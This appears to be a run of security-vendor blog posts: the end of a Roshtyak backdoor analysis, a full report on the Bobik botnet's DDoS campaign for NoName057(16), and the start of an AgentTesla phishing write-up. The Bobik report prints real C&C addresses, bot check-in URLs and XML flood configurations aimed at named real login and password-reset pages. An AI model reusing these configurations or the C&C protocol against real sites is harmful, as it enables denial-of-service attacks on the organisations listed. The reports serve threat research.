• Windows build number (PEB.OSBuildNumber)
• Local administrative privileges (ZwQueryInformationToken(TokenGroups)/CheckTokenMembership, check for DOMAIN_ALIAS_RID_ADMINS)
• Domain administrative privileges (check for WinAccountDomainAdminsSid/WinAccountDomainUsersSid)
• System time (KUSER_SHARED_DATA.SystemTime)
• Time zone (KUSER_SHARED_DATA.TimeZoneBias)
• System locale (NtQueryDefaultLocale(0))
• User locale (NtQueryDefaultLocale(1))
• Environment variables (username, computername, userdomain, userdnsdomain, and logonserver)
• Java version (GetFileVersionInfo("javaw.exe") -> VerQueryValue)
• Processor information (cpuid to obtain the Processor Brand String)
• Path to the image of the main executable module (NtQueryVirtualMemory(MemorySectionName))
• Product ID and serial number of the main physical drive (DeviceIoControl(IOCTL_STORAGE_QUERY_PROPERTY, StorageDeviceProperty))
• MAC address of the default gateway (GetBestRoute -> GetIpNetTable)
• MAC addresses of all network adapters (GetAdaptersInfo)
• Installed antivirus software (root\securitycenter2 -> SELECT * FROM AntiVirusProduct)
• Display device information (DeviceId, DeviceString, dmPelsWidth, dmPelsHeight, dmDisplayFrequency) (EnumDisplayDevices -> EnumDisplaySettings)
• Active processes (NtQuerySystemInformation(SystemProcessInformation))
• Screenshot encoded in base64 (gdi32 method)

Beaconing

Once collected, Roshtyak sends the victim profile to one of its C&C servers. The profile is sent over the Tor network, using a custom comms module Roshtyak injects into a newly spawned process. The C&C server processes the exfiltrated profile and might respond with a shellcode payload for the core module to execute.

Let’s now take a closer look at this whole process. It’s worth mentioning that before generating any malicious traffic, Roshtyak first performs a Tor connectivity check. This is done by contacting 28 legitimate and well-known .onion addresses in random order and checking if at least one of them responds. If none of them respond, Roshtyak doesn’t even attempt to contact its C&C, as it would most likely not get through to it anyway.

As for the actual C&C communication, Roshtyak contains 35 hardcoded V2 onion addresses (e.g. ip2djbz3xidmkmkw:53148, see our IoC repository for the full list). Like during the connectivity check, Roshtyak iterates through them in random order and attempts to contact each of them until one responds. Note that while V2 onion addresses are officially deprecated in favor of V3 addresses (and the Tor Browser no longer supports them in its latest version) they still appear to be functional enough for Roshtyak’s nefarious purposes.

The victim profile is sent in the URL path, appended to the V2 onion address, along with the / character. As the raw profile might contain characters forbidden for use in URLs, the profile is wrapped in a custom structure and encoded using Base64. The very first 0x10 bytes of the custom structure serve as an encryption key, with the rest of the structure being encrypted. The custom structure also contains a 64-bit hash of the victim profile, which presumably serves as an integrity check. Interestingly, the custom structure might get its end padded with random bytes. Note that the full path could be pretty large, as it contains a doubly Base64-encoded screenshot. The authors of Roshtyak were probably aware that the URL path is not suitable for sending large amounts of data and decided to cap the length of the victim profile at 0x20000 bytes. If the screenshot makes the exfiltrated profile larger than this limit, it isn’t included.

When the full onion URL is constructed, Roshtyak goes ahead to launch its Tor comms module. It first spawns a dummy process to host the comms module. This dummy process is randomly chosen and can be one of dllhost.exe, regsvr32.exe, or rundll32.exe. The comms module is injected into the newly spawned process using a shared section, obfuscated through the previously described shellcode hiding technique. The comms module is then executed via NtQueueApcThreadEx, using the already discussed ntdll gadget trick. The injected comms module is a custom build of an open-source Tor library packed in three additional protective shellcode layers.

The core module communicates with the comms module using shared sections as an IPC mechanism. Both modules synchronously use the same PRNG with the same seed (KUSER_SHARED_DATA.Cookie) to generate the same section name. Both then map this named section into their respective address spaces and communicate with each other by reading/writing to it. The data read/written into the section is encrypted with RC4 (the key also generated using the synchronized PRNGs).

The communication between the core module and the comms module follows a simple request/response pattern. The core module writes an encrypted onion URL (including the URL path to exfiltrate) into the shared section. The comms module then decrypts the URL and makes an HTTP request over Tor to it. The core module waits for the comms module to write the encrypted HTTP response back to the shared section. Once it’s there, the core module decrypts it and unwraps it from a custom format (which includes decrypting it yet again and computing a hash to check the payload’s integrity). The decrypted payload might include a shellcode for the core module to execute. If the shellcode is present, the core module allocates a huge chunk of memory, hides the shellcode there using the shellcode hiding technique, and executes it in a new thread. This new thread is hidden using the NtSetInformationThread -> ThreadHideFromDebugger technique (including a follow-up anti-hooking check using NtGetInformationThread to confirm that the NtSetInformationThread call did indeed succeed).

Conclusion

In this blog post, we took a technical deep dive into Roshtyak, the backdoor payload associated with Raspberry Robin. The main focus was to describe how to deal with Roshtyak’s protection mechanisms. We showed some never-before-seen anti-debugger/anti-sandbox/anti-VM tricks and discussed Roshtyak’s heavy obfuscation. We also described Roshtyak’s core functionality. Specifically, we detailed how it establishes persistence, escalates privileges, moves laterally, and uses Tor to download further payloads.

We have to admit that reverse engineering Roshtyak was certainly no easy task. The combination of heavy obfuscation and numerous advanced anti-analysis tricks made it a considerable challenge. Nick Harbour, if you’re looking for something to repurpose for next year’s final Flare-On challenge, this might be it.

Indicators of Compromise (IoCs)

IoCs are available at https://github.com/avast/ioc/tree/master/RaspberryRobin.

The post Raspberry Robin’s Roshtyak: A Little Lesson in Trickery appeared first on Avast Threat Labs.

It has now been six months since the war in Ukraine began. Since then, pro-Russian and pro-Ukrainian hacker groups, like KillNet, Anonymous, IT Army of Ukraine, Legion Spetsnaz RF, have carried out cyberattacks. A lesser-known group called NoName057(16) is among the pro-Russian groups attacking Ukraine and the countries surrounding it and siding with Ukraine.

NoName057(16) is performing DDoS attacks on websites belonging to governments, news agencies, armies, suppliers, telecommunications companies, transportation authorities, financial institutions, and more in Ukraine and neighboring countries supporting Ukraine, like Ukraine itself, Estonia, Lithuania, Norway, and Poland. A full list of the group’s targets can be found at the end of this post. 

To carry out DDoS attacks, hacker groups utilize botnets. They control them via C&C servers, sending commands to individual bots, which essentially act as soldiers. Uncovering and tracking botnets is complex and time-consuming.

We got our hands on malware called Bobik. Bobik is not new, it’s been around since 2020, and is known as a Remote Access Trojan. Things have, however, recently changed. Devices infected with Bobik are now part of a botnet, and carrying out DDoS attacks for NoName057(16). We can confidently attribute the attacks to the group, as we have analyzed and compared what the C&C server is instructing devices infected with Bobik to do with the attacks the group claims to be responsible for on their Telegram channel.

Toolset

The bots used by the botnet are infected with malware called Bobik, which is written in .NET. The malware has not been tied to a certain group in the past, and is actually a Remote Access Trojan. Its spyware functionalities include keylogging, running and terminating processes, collecting system information, downloading/uploading files, and dropping further malware onto infected devices.

Kill Chain

In the wild, one of the most monitored droppers for Bobik is RedLine Stealer, a botnet-as-a-service cybercriminals can pay for to spread their malware of choice. The usual workflow of Bobik is illustrated in the image below.

At first, an unknown group seems to have purchased RedLine Stealer to deploy – Bobik. The final DDoS module deployment is composed of two basic stages. The first executes Bobik’s Updater via a RedLine Stealer bot. In the second stage, Bobik’s Updater extracts and drops the final DDoS module (Bobik’s RuntimeBroker) and ensures the module’s persistence.

When RuntimeBroker is run, the module contacts a C&C server and downloads a configuration file defining targets for DDoS attacks. The module then starts the attacks using a defined count of threads, usually five threads.

The detailed workflow of the Bobik deployment is shown below. The RedLine Stealer Cryptic (installer) deobfuscates the .NET payload of Bobik’s Updater and injects it into the newly created process of the .NET ClickOnce Launch Utility (AppLaunch.exe); see steps 1 – 5.

The same process is used to execute Bobik’s RuntimeBroker (the DDoS module), because the dropped RuntimeBroker is also packaged and obfuscated via RedLine Stealer Cryptic. Therefore, the dropped Bobik’s RuntimeBroker also deobfuscates the .NET payload of Bobik’s RuntimeBroker and injects it into another AppLaunch process; see steps 6 – 8. After all these steps, the Bobik’s DDoS module is deployed, persistent, and ready to attack.

C&C Servers and Communication

Since June 1, 2022, we have observed Bobik’s network activities. Bobik bots communicate with C&C servers located in Russia and Romania. These two servers are already offline. However, another Romanian server is still active and able to send commands to the bots.

C&C Servers

Since tracking the botnet activity, we have captured three production C&C servers controlling Bobik bots and one development server. The servers run on OS Ubuntu with Nginx (v 1.18.0). RiskIQ reports all servers as malicious with self-signed certificates and servers with bad reputations that previously hosted many suspicious services.

Server 1 

The last active server is 2.57.122.243, located in Romania, and its first Bobik’s activity we saw was on June 13, 2022. We also have two DNS records for this malicious server:
v9agm8uwtjmz.sytes.net and q7zemy6zc7ptaeks.servehttp.com.

Server 2

The second server 2.57.122.82 is also in Romania, but the communication with the Bobik bots was deactivated around July 14, 2022. The server is still active. Nevertheless, the server responds with a 502 HTTP code (Bad Gateway).  Based on the findings from Server 1, this server used the same v9agm8uwtjmz.sytes.net DNS record, which was reconfigured to Server 1 in the middle of June.

Server 3

The first Bobik’s C&C server we saw was 77.232.41.206 in Russia. The server had opened ports 80 and 443 until June 9, 2022. It is not usable, and therefore de facto offline, by Bobik bots because there is only one opened port for OpenSSH since Bobik requires port 80 for its C&C communication.

Dev Server

One of the C&C servers is a suspected  development server at 109.107.181.130, listening on port 5001. The server has been active since April and is located in Russia; its reputation is also suspicious. Avast has not detected any hits for this server in the wild. However, one Python sample uses the server as a testing environment.

C&C Communication

The communication between Bobik bots and the C&C servers is mediated using a simple unsecured HTTP request and response via the Nginx web server. The bots obtain appropriate commands from the C&Cs utilizing a URL, see the diagram below.

Request

The request URL uses the following template:
http://[ip]/[request]/update?id=[sha256]&v=[version]&pr=[flag]

ip: Bobik bots hardcode one of the C&C IPs or one of the DNS records, see Section C&C Servers.
request: defines the purpose of the communications; we registered three types of requests in the form of a GUID.
– notice: the bots report their states.
– admin: this request can open the admin console of the Nginx web server.
– dropper: is a path to a malicious executable representing Bobik’s RuntimeBroker followed by an exe file name.
The exact GUIDs are listed in Appendix.
id: the hash is computed from Windows Management Instrumentation (WMI) information about a victim’s machine like Win32_DiskDrive, Win32_Processor, Win32_BaseBoard, etc. The hash can provide a unique identifier for Bobik bots.
v: the Bobik version; Avast has captured sample versions ranging from 8 to 19.
pr: is a flag (0,1) representing whether the communication with C&C has timed out at least once. 

A body of the HTTP request contains one simple XML tag with information about the victim; for instance:
<client a0="1" a1="en-US" a2="en-US" a3="14:03:53" a4="600">; where

• a0: ProductType (1: Workstation, 2: Domain Controller, 3: Server)
• a1: CultureInfo.InstalledUICulture
• a2: CultureInfo.CurrentUICulture
• a3: DateTime.Now
• a4: Default timeout for the update of the DDoS target list from the C&C server

See the examples of the notice URLs:

• http://2.57.122.82/d380f816-7412-400a-9b64-78e35dd51f6e/update?id=AEF97F87751C863548359181B65B60EE86A7D44724040229CDE4622C99AB0B59&v=17&pr=1
• http://2.57.122.82/d380f816-7412-400a-9b64-78e35dd51f6e/update?id=67F5318073F09F03E762BF727015384589F00282EA26B1798C10581B8DC27F52&v=16&pr=1
• http://v9agm8uwtjmz.sytes.net/d380f816-7412-400a-9b64-78e35dd51f6e/update?id=B5B72AEBEC4E2E9EE0DAC37AC77EBFB679B6EC6D7EE030062ED9064282F404A7&v=18&pr=1
• http://q7zemy6zc7ptaeks.servehttp.com/d380f816-7412-400a-9b64-78e35dd51f6e/update?id=BADFD914A37A1FF9D2CBE8C0DBD4C30A9A183E5DF85FCAE4C67851369C2BAF87&v=18&pr=1

Response

The body of the HTTP response contains an encrypted and gzipped XML file configuring bots to the defined DDoS attacks. See the example below:

The bot receives the encrypted data that is decrypted using a simple algorithm, as shown below. The full script is located in the IOC repository.

The encrypted XML file has an elementary structure, as shown below:

Most of the XML attributes are intuitive, so we will just explain the compound brackets in the path and body attributes. The configuration often uses dynamically generated pieces (definitions) like this: {.,15,20}. The definition dictates what long random text should be generated and in which position.

The definitions are abundantly applied in the path or body of the HTTP requests, where the attackers expect an increased load on the server. The effect is that bots flood servers with meaningless requests. For instance, the first <task> in the image directly above (decrypted XML config) uses this definition: query={.,15,20} which means that the bots generate random texts of 15 – 20 characters long as requests to, for example, the calendar of Poland’s presidential office. Similarly, the second <task> flooded the reference system of bus lines in Ukraine with requests for a password reset, as illustrated in this definition email={.,5,15}%40gmail.com.

For the most part, we captured definitions sending data to login pages, password recovery sites, and site searches; as can be seen from the XML config snippet below:

• Login data
  <task
host="identity.tele2.lt"
path="/Account/Login"
body="SkipAutoLogin=False&amp;Username={.,15,20}%40gmail.com&amp;Password={.,15,20}&amp"
/>
• Search requests
  <task
host="www.delfi.ee"
path="/otsing?search={.,3,12}&amp;domain=kinoveeb.delfi.ee&amp;categoryId&amp;order=PUBLISH_AT&amp;from=2012-08-22T{d,2,2}%3A{d,2,2}%3A{d,2,2}Z&amp;to=2022-08-22T20%3A59%3A59Z"
/>
• Password recovery request
  <task
host="client.smscredit.lv"
path="/password-recovery"
body="utf8=%E2%9C%93&amp;authenticity_token={.87,87}A%3D%3D&amp;user%5Bemail%5D={.,15,20}%40gmail.com&amp;g-recaptcha-response=03ANYolqu{.,539,539}"
/>

Consequently, the attackers try to overload a server with these requests, as they are computationally intensive. The requests require many accesses to server databases, e.g., verifying emails for password resetting, trying to login with random data (definitions), etc.

Bobik Botnet

The Avast telemetry data cannot paint a precise picture of the botnet’s size, but we can estimate the approximate representation of Bobik in the wild, see map below. The map shows where, according to Avast’s telemetry, the bots that attempt to carry out DDoS attacks for NoName057(16) are located. Avast has protected these devices from Bobik or from connecting to the C&C server. Most of the bots are located in Brazil, India, and Southeast Asia.

According to our data, the number of Bobik bots is a few hundred. However, the total number must be much larger considering the DDoS attacks’ acute effectiveness and frequency. We, therefore, estimate there are thousands of Bobik bots in the wild.

Selection of DDoS Targets

We estimated a procedure as to how the attackers determine which web servers to DDoS attack because we have configurations of unsuccessful attacks.

The first step is looking for a target that supports Ukraine or a target with anti-Russian views. The attackers analyze the structure of the target’s  website and identify pages that can cause server overloading, especially requests requiring higher computing time, such as searching, password resetting, login, etc.

The second step is filling in the XML template, encrypting it, and deploying it to the C&C servers. The attackers monitor the condition of the target server and modify the XML configuration based on needs (modification of URL parameters, bodies, etc.) to be more effective. The configuration is changed approximately three times per day.

Suppose the configuration is successful and a targeted server is in trouble. In that case, the configuration is fixed until the web server crashes or a server admins implement anti-DDoS technique or firewall rules based on GeoIP.

If the attack is unsuccessful, a new target is selected, and the whole procedure of selection is repeated.

Targets

In the first phase, the attackers targeted Ukrainian news servers they defined as being against the war in Ukraine. Then, the attacks targeted websites belonging to Ukrainian cities, local governments, distribution of electrical power, Ukrainian companies supplying the Ukraine army with weapons, railway, bus, companies, and postal offices. 

The second phase targeted organizations publicly supporting Ukraine financially or materially, like Ukraine banks and financial institutions, and operators of local Ukraine gas reservoirs that publicly declared help for the defenders of Ukraine.

As the political situation around the war changed, so did the targets of the DDoS attacks. Bobik performed DDoS attacks on GKN Aerospace, which is the supplier of the Northrop Grumman Corporation because the US Defense Department convened a meeting with America’s eight prime defense contractors (including Northrop Grumman Corporation) to ensure long-term readiness to meet “Ukraine’s weapons needs”. 

Another global company under attack was Group 4 Securitas (G4S), which published a document assessing and exploring key elements of the conflict in Ukraine. In terms of telecommunications companies, we observed an attack on American telco company Verizon, which declared a waiver of call charges to and from Ukraine. And so, we could continue listing companies that were under Bobik attacks due to their support for Ukraine. You can see a few screenshots from affected websites below.

Other attacks were more politically motivated based on government declarations of a given country. Baltic states (Lithuania, Latvia, and Estonia) were the significant targets, outside Ukraine, of DDoS attacks carried out by the group. Let’s summarize targets outside of Ukraine, chronologically, since we started monitoring Bobik.

• June 7, 2022: Significant DDoS attack on Estonia central bank; see Twitter.
• June 18, 2022: Bobik configuration changed to target Lithuanian transportation companies, local railway, and bus transportation companies after Lithuanian authorities announced a ban on transit through their territory to the Russian exclave of Kaliningrad of goods that are subject to EU sanctions. The attackers also targeted financial sectors in Lithuania, like UAB General Financing, Unija Litas, and more.
• July 1, 2022: Goods were stopped by Norwegian authorities destined for the roughly 400 miners in the town of Barentsburg employed by the Russian state coal mining company Arktikugol. NoName057(16)’s DDoS attacks focused on Norwegian websites as retaliation for the blockade. The main targets were transportation companies (Kystverket, Helitrans, Boreal), the Norwegian postal service (Posten), and financial institutions (Sbanken, Gjensidige).
• July 7, 2022: There were not any specific acts by Poland that caused the group to specifically target Polish sites. However, Poland has supported Ukraine from the beginning of the Ukraine conflict, and therefore sites in the country became targets. The first wave of DDoS attacks on Polish sites was aimed at government websites like the Polish Cyberspace Resource Center, Polish 56th Air Base, Military Recruitment Center in Chorzów, and more.
• July 9, 2022: Bobik was reconfigured back to target Lithuanian websites, focusing on energy companies (Ignitis Group, KN), transportation companies (Ingstad & Co, Asstra-Vilnius), and banks (Turto Bankas, Šiaulių Bankas, Swedbank, SEB, Kredito unija Litas).
• July 25, 2022: Polish sites were targeted again, this time  the Polish government and airports were attacked. We observed a DDoS configuration including the Polish Sejm, Presidential Office, Ministry of National Defense, Poznań Airport, Szczecin Goleniów Airport, Gdansk Airport, Kraków Airport, and more.
• August 5, 2022: Polish regional and district courts were targeted.
• August 9, 2022: When Finland announced their intention to join NATO, the Bobik configuration was reconfigured to target Finnish government institutions, like the  Parliament of Finland (Eduskunta), State Council, Finnish police, and more.
• August 14, 2022: Latvian financial sector (Latvian Payment Services and Electronic Money, Luminor Interneto bankas) was attacked.
• August 16, 2022: The second wave of attacks on the Polish justice system began. We monitored a configuration with specific district courts in Krakow, Olsztyn, Warszawa, Poznan.
• August 23, 2022: Estonia’s largest news portal, Delfi, was under DDoS attack because it published Russophobic content.
• August 26, 2022: The group targeted another Estonian company, Tallink Grupp, a company providing transport services in the northern Baltic Sea region, including air transport. Tallink’s airports, such as Kärdla, Tartu, and Pärnu were targeted.
• August 27, 2022: Lithuania’s ministries of National Defense, Culture, Education, Science and Sports, and Public Procurement Offices were targeted, along with the airports and transport companies.
• August 29, 2022: Ukrainian banks were under DDoSed by the group after a long break. We observed Acordbank, Trust capital, JSC Poltava-Bank, and Pravex Bank under attack.
• September 1 and 2, 2022: Ukrainian schools were under attack at the beginning of the new school year. Fortunately, none of the group’s 14 targets were taken down.
• September 3, 2022: Polish armaments plants (Dezamet, Zakłady Mechaniczne Tarnów) and Lithuanian investment companies (Unija Litas, General Financing Bankas) were the group’s first victims after their unsuccessful attack attempts on Ukrainian school institutions.
• September 6, 2022: The second attempt to attack Ukrainian school institutions (Athens School in Kyiv, Cherkasy National University, First Cambridge Education Center, and more).

The graph below shows a timeline of Bobik DDoS attacks, including successful and unsuccessful attacks from the beginning of June to mid-July 2022, captured by Avast telemetry.

Finally, we inspected all hosts from the XML configuration files within our three-month observation period. The pie chart below illustrates that sites from Lithuania and Poland are the main targets of the NoName057(16) group.

Looking at the distribution of attacked institutions, courts come in first, and second is logistic companies, followed by banks. The remaining targets are airports, transportation, and logistic companies, governments, and telecommunications companies. A full list of the targets can be found at Appendix.

Identifying NoName057(16)

We have tried identifying the hacker group controlling Bobik bots and C&C servers. It was evident that the group must be pro-Russia, so we looked for the most famous DDoS attacks.

Shortly after the war in Ukraine began, a pro-Russia hacking group called Killnet appeared and began carrying out DDoS attacks against companies and governments supporting Ukraine, and even targeted the 2022 Eurovision Song Contest.

Bobik initially attacked websites Killnet has marked as “undesirable”. Killnet reports their DDoS attacks on their Telegram account. At first, it looked like the attacks carried out by Bobik distantly resembled Killnet’s activity, because the timeline of attacked countries was similar to the XML configurations. However, many successful DDoS attacks by Bobik were not posted by Killnet.

On June 21, 2022, the Killnet group publicly thanked a group called NoName057(16) for their support during a “special military operation”:

When we finished analyzing NoName057(16)’s Telegram channel, we confirmed that NoName057(16) is responsible for the DDoS attacks performed by the Bobik bots. All the XML configurations we captured from the NoName057(16) C&C servers exactly match the posts on the Telegram channel.

NoName057(16)

NoName057(16) is a little-known pro-Russian hacker group. They boast about their successful attack attempts on their Telegram channel, which has more than 14K subscribers. The group was active before we began tracking them on June 1, 2022. Their Telegram channel was created on March 11, 2022. We suspect they were either using a different set of botnets before June 1, 2022, or updating the malware used to control the bots in June.

NoName057(16) has been threatening to punish “propaganda” sources that “lie” about the Russian “special operation” in Ukraine, as well as governments from neighboring countries supporting them in their fight against Russia. The group became visible in the media at the beginning of August after carrying out successful attacks on Finnish and Polish parliaments.

A Wikipedia page about NoName057(16) was created on August 17, 2022. The page summarizes the group’s main activity. It classifies the group as a pro-Russia hacker group that claimed responsibility for cyberattacks on Ukrainian, US, and European websites belonging to government agencies, media, and private companies.

NoName057(16) released a manifesto declaring cyberwar as an act of revenge for open information war against Russia:

As the group increased its activities and media profile, it became easier to determine they were behind the attacks. Therefore, we can clearly state that Bobik is controlled by the pro-Russian hacker group called NoName057(16).

Success Rate

The group only reports successful DDoS attacks on their Telegram channel. Although the reported number of successful attacks seems large, statistical information indicates the contrary.

The group exclusively concentrates on DDoS attacks. They do not try to steal data or gain access to systems like other dangerous groups. The question is if they have the necessary knowledge, strength, and infrastructure to do more. Carrying out DDoS attacks is straightforward and does not require deep technical knowledge. Furthermore, the Bobik implementation only sends a simple HTTP request.

Our three-month observation shows that the group’s attack success is around 40%. We compared XML configurations captured by Avast to the achievements the group posts on their Telegram channel. Moreover, there is a particular set of targets, making up ~20% of their posts on Telegram, NoName057(16) claimed they successfully attacked, but we did not match them to the targets listed in their configuration files. For example, NoName057(16) claims to be responsible for attacking websites belonging to Lithuanian airports on June 25, 2022:

However, we did not find any records of the attack in the configuration files. The likelihood of them not using all of their bots in attacks is slim. In addition to this outage, NoName057(16) declared the sites were under a continuous fourteen-day attack. This would require an extensive bot network, especially considering the group performed other attacks during the same time frame, and the websites were still offline. From what we have seen, it is unlikely that NoName057(16) has an extensive bot network. Moreover, most of their DDoS attacks last a few hours, maximally a few days.

Impact and Protection

The power of the DDoS attacks performed by NoName057(16) is debatable, to say the least. At one time, they can effectively strike about thirteen URL addresses at once, judging by configuration history, including subdomains. Furthermore, one XML configuration often includes a defined domain/target as a set of subdomains, so Bobik effectively attacks five different domains within one configuration. Consequently, they cannot focus on more domains for capacity and efficiency reasons.

Most of the successful attacks result in servers being down for several hours or a few days. To handle the attacks, site operators often resort to blocking queries coming from outside of their country. It is a typical and suitable solution for local servers/domains such as local ticket portals of local bus/train companies, local institutions/companies, etc. Therefore, the DDoS impact on these domains has a minimal effect on the servers of local and smaller companies. Some operators or owners of affected servers have unregistered their domains, but these are extreme cases.

The DDoS attacks carried out were more difficult to handle for some site operators of prominent and significant domains, such as banks, governments, and international companies. After a successful attack, we noticed larger companies implementing enterprise solutions, like Cloudflare or BitNinja, which can filter incoming traffic and detect DDoS attacks in most cases. On the other hand, most large, international companies expect heavier traffic and run their web servers in the Cloud with anti-DDoS solutions, making them more resilient to attacks. For example, the group was unsuccessful in taking down sites belonging to Danish bank, Danske Bank (attacked June 19 – 21, 2022), and Lithuanian bank, SEB (attacked July 12 – 13, 2022 and July 20 – 21, 2022). 

The success of DDoS attacks depends on victim selection. The more “successful” attacks affected companies with simple sites, including about us, our mission, and a contact page, for example. These types of companies do not use their web pages as the main part of their business. These servers are therefore not typically designed to be heavily loaded and do not implement anti-DDoS techniques, making them a very easy target.

The group’s  DDoS attack on Poznań-Ławica Airport in Poland took the site offline for 16 minutes. NoName057(16) configured Bobik bots based on the <tasks> shown in the screenshot below:

They tried to overload the server with requests for searching, form submitting, and getting data via WordPress API. When the server started to return 502 errors, NoName057(16) did not forget to brag on their Telegram channel. They also included a link to check-host.net to prove their “revenge”.

However, affected servers very often run back online within several minutes if they implement some anti-DDoS techniques because the algorithms learn to recognize the given type of attacks. The check-host.net report below demonstrates that the DDoS attack on Poznań-Ławica Airport had a minimal impact since the website was offline for 16 minutes.

On June 23, 2022, NoName057(16) reported on Telegram that Lithuanian authorities lifted a ban on the transit of Russian cargo to Kaliningrad. The group attributes the lifting of the ban, amongst other things, to the efforts of their cyber attacks on Lithuania’s infrastructure, which is debatable at best. However, the attacks on Lithuanian servers have continued.

Performance

The botnet went into an idle state on September 1, 2022, at 6 PM UTC, and remained idle persisted for 12 hours. The botnet was reactivated on September 2, 2022, at 4 AM UTC. The XML file sent to the bots contained empty <tasks>, like in this example: <config><tasks delay="0" thread_count="-6"/></config>

A decline in the botnet’s performance may be a possible explanation for this. The group only posted two general posts to their Telegram channel on September 1 and 2, 2022, instead of boasting about successful attacks, our first indication the botnet might not be performing well.  

The first post was about the beginning of the new school year and day of knowledge. The group also mentioned being on the defense of the cyber front for their country and the for the safety of the younger generation. The second post was about “information guns and DDoS tanks” that worked quietly on very difficult and important work.

In fact, NoName057(16) changed targets ten times each day in the XML configurations, which is abnormal. We monitored the targets for these days, and none of the attacks were successful. Therefore, it is evident that the botnet had some trouble.

Most of the sites attacked by the group have implemented anti-DDoS protections. This slowdown  implies that the botnet is relatively static without many changes, such as recruiting new bots or dynamically changing bots’ IPs. A static botnet is an advantage for anti-DDoS protections, because malicious traffic can be easily identified.

NoName057(16) has continued to attack other easier targets since September. Only the future will reveal the Bobik botnet’s successes and failures. However, the attack’s success rate has been only around 25% since the beginning of September.

Conclusion

We investigated and analyzed malware used to carry out DDoS attacks on sites in and around Ukraine, starting in June, 2022. We identified the malware as a .NET variant of a RAT called Bobik, including a DDoS module, and spreading via a bot-net-as-a-service, RedLine Stealer.

The first technical part of this investigation uncovered C&C servers and the HTTP communication protocol used by the Bobik bots. We also successfully decrypted the HTTP protocol, including its parameters. This allowed us to monitor the C&C servers and collect information about the botnet architecture and XML configurations defining the DDoS targets.

The second aim was to determine the bad actors behind the attacks. We identified a pro-Russian hacker group called NoName057(16), as the users or possibly even the authors of Bobik, based on the XML configurations and what the group posts to their Telegram channel.

NoName057(16) focuses exclusively on DDoS attacks and looks for companies and organizations that support Ukraine or are “anti-Russian”. They do not try to steal data or gain access to the system like other dangerous groups. Therefore, we can declare that their activities are only harmful in the sense that they can lose companies’ business while their sites are offline, but attacked sites that have gone offline have luckily recovered quickly. Their activities are more annoying than dangerous. 

We found that the successful attacks defined by NoName057(16) make up just ~ 40% of all of their attack attempts. The success of their attacks depends on the quality of the targeted infrastructure. The evidence suggests that well-secured and designed servers can withstand the group’s DDoS attacks. 

The group focuses on servers/domains as retaliation for cyber-attacks and sanctions on Russia. All successful attacks, and even successful attacks the group is not responsible for (but claims to be), are posted to their Telegram channel.

If you are concerned your device might be infected with Bobik and supporting NoName057(16)’s efforts, we highly recommend you install security software, like Avast Antivirus, which detects, blocks and can remove Bobik.

IOCs

The full list of IoCs is available in the IOC repository

Appendix

GUIDS

http://[ip]/[request]/update?id=[sha256]&v=[version]&pr=[flag]

[request]	value
notice	bcaa8752-51ff-4e35-8ef9-4aefbf42b482 d380f816-7412-400a-9b64-78e35dd51f6e
admin	27bff71b-42c0-4a47-ba39-04c83f2f40bb
dropper	fb82275d-6255-4463-8261-ef65d439b83b/<file_name> <file_name> Q7yheyG7.exe afVAcUJTvDvM.exe XuS1qxZa.exe AdminService.exe Q7yheyG7.exe xLZ6auza.exe BAebY2lBT7ee.exe

Bobiks’ Targets

References

[1] Threat Encyclopedia
[2] US Defense Department convened a meeting with America’s eight prime defense contractors
[3] Ukraine Conflict Overview And Impact To Security In The UK
[4] Verizon Waives Calling Charges to and From Ukraine
[5] Kaliningrad sanctions to take effect, Lithuania says
[6] Norway Greenlights Blocked Goods for Russian Arctic Miners
[7] Hacker wars heat up as the pro-Russian Killnet attacks Italy
[8] What is known about the Russian hacker group NoName057(16), which hacked the website of the Finnish Parliament?
[9] Russian hacker group NoName057 (16) attacks Poland and Finland
[10] Wikipedia – NoName057(16)

The post Pro-Russian Group Targeting Ukraine Supporters with DDoS Attacks appeared first on Avast Threat Labs.

A malicious campaign spreading the information stealer, AgentTesla, began circulating mid-August. The bad actors behind the campaign are going after information about victims’ computers and login credentials stored in browsers.

Phishing emails, sent from spoofed email addresses, with a malicious attachment are being sent to businesses across South America and Europe. More than 26,000 emails have been sent thus far. The campaign started on Friday, August 12, 2022, targeting users in Spain, Portugal, Romania, and multiple countries in South America. In the week of August 15, 2022, we saw a larger attack wave targeting users in Germany and at the end of  the week in South America again, specifically in Argentina. This week, a small wave targeted users in Switzerland.

Infection Chain

An email is sent from a valid email address, belonging to consumers and businesses. The bad actors are most likely spoofing email addresses. The recipients of these emails are, for the most part, businesses whose email addresses are available on the internet. We have protected a wide variety of businesses across Europe and South America from these emails, including schools, home furnishing stores, label making companies, and also a company selling yachts.

The emails are bare, with the exception of a line of text that says “Get Outlook for Android”. They are localized depending on where the recipient is located. For example, victims with a .de email address receive the email in German sent from a spoofed .de email address. The subject of the email and the attachment are named "Draft Contract" in various languages depending on who the email is sent to. The extension name of the attachment is .IMG or .ISO.

The attached file is in fact a disk image file, but it contains an additional compiled HTML format (chm) with the same name, “Draft Contract”. After opening it, a window appears (see below), and seemingly nothing else happens. However, a series of actions is triggered in the background, which leads to infection.

In addition, the file contains an obfuscated JavaScript part. This JavaScript launches the PowerShell command shown below. This command downloads the final payload.

In the background, the final payload is downloaded from a seemingly legitimate site and is disguised as a request for a JPG image. This is likely done to evade firewalls, intrusion detection systems, and malware analysts. However, the downloaded data is not a JPG image, it’s a PowerShell script that drops and runs the AgentTesla malware.

AgentTesla is spyware, capable of:

• stealing passwords from browsers, email clients, VPN clients, FTP clients, clipboards
• stealing passwords via keystrokes made by the user when entering login credentials on a website
• taking screenshots
• stealing information around the user’s computer
• downloading more malware

The bad actors behind this particular campaign are exfiltrating  credentials stored in applications like browsers and email clients, and collecting information about the victims’ computers, like user name, computer name, OS, CPU, and RAM. In this case, AgentTesla is disguised as an injected code in the InstallUtil.exe executable file. Immediately after executing, AgentTesla collects basic data about the computer, saves credentials stored in applications, and sends these to an FTP server under the attacker’s control.

The infection chain is shown in the image below. Credentials to the FTP server are sent in plain text, allowing us access to the C2 server. Everything from the  entire campaign is collected on the FTP server. The server contains a large number of different files containing information about victims’ computers and stolen credentials. These files are downloaded from the server and deleted by the attacker,approximately on an hourly basis.

Impact

The campaign began on Friday, August 12, 2022, circulating in South American countries, Spain, Portugal, and Romania. To a lesser extent also in Italy and France. We blocked approximately 2,500 attack attempts in this first wave. On Tuesday, August 16, 2022, a massive wave began targeting German users for two days. In this time, we protected around 10,000 users.. On Thursday, August 18, 2022, the campaign went back to targeting users in Argentina. This wave was short, lasting only a few hours, but in this time, we protected about 2,000 users. The final wave we observed before posting this, targeted users in Switzerland. The wave only lasted one morning on August 23, 2022.

How users can protect themselves

